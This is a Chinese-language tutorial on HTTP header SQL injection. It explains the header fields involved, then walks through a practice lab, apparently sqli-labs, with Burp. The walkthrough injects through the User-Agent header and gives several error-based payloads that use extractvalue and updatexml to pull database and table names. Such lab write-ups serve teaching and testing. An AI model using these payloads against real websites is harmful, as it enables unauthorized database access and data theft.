赞
踩
- 请求报文(HTTP Request):由客户端发给服务器的消息,其组成包括请求行(Request-Line)、请求头域(Header-Field)和请求体(Entity-Body)
- 响应报文(HTTP Response):由服务器回复给客户端的消息,其组成包括状态行(Status-Line)、响应头域(Header-Field)和响应体(Entity-Body)
- User-Agent:使服务器能够识别客户端使用的操作系统,浏览器版本等(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)
- Cookie: 网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)
- Host:客户端指定自己想访问的Web服务器的域名/IP 地址和端口号。
- X-Forwarded-For:简称XFF头,它代表客户端(即HTTP的请求端)真实的IP(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP])
- Client-IP:同上。
- Referer:浏览器向Web服务器表明自己是从哪个页面链接过来的。
有时候,后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者通过HTTP Header头信息获取客户端的一些信息(比如User-Agent、Accept字段等)会对客户端HTTP Header进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。
- 能够对请求头消息进行修改
- 修改的请求头信息能够带入数据库执行
- 数据库没有对输入的请求头做过滤
- Cookie注入
- Referer注入
- User-Agent注入
- XFF注入
在尝试GET方法都失败后,我们判断其为POST方法
使用burp抓包
页面输入正确的用户名密码后会回显用户代理User Agent头
所以判断其为UA注入
在UA头后面添加' 出现报错信息,可以注入
经过测试和查看源代码 有多种构造payload的方法
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
' and 1 and '
' or 1 or '
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0','','')#
尝试使用order by 失败 所以使用报错函数注入
User-Agent: 'and extractvalue(1,concat('~',database())) ,'','')#
User-Agent:' and 1 and extractvalue(1,concat('~',database())) and '
1' and updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1),'','')#
' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1),'','')#
注意:这里并不是URL而是HTTP头,所以+
并不会被转义为(空格)
,于是末尾的注释符号要变为#
。
1' and updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)and '
' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)and '
注意:因为这里or
的语法,User-Agent
应为空。而步骤1成功的原因不确定,教程中也为空但没有影响,猜测是数据库版本的问题。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。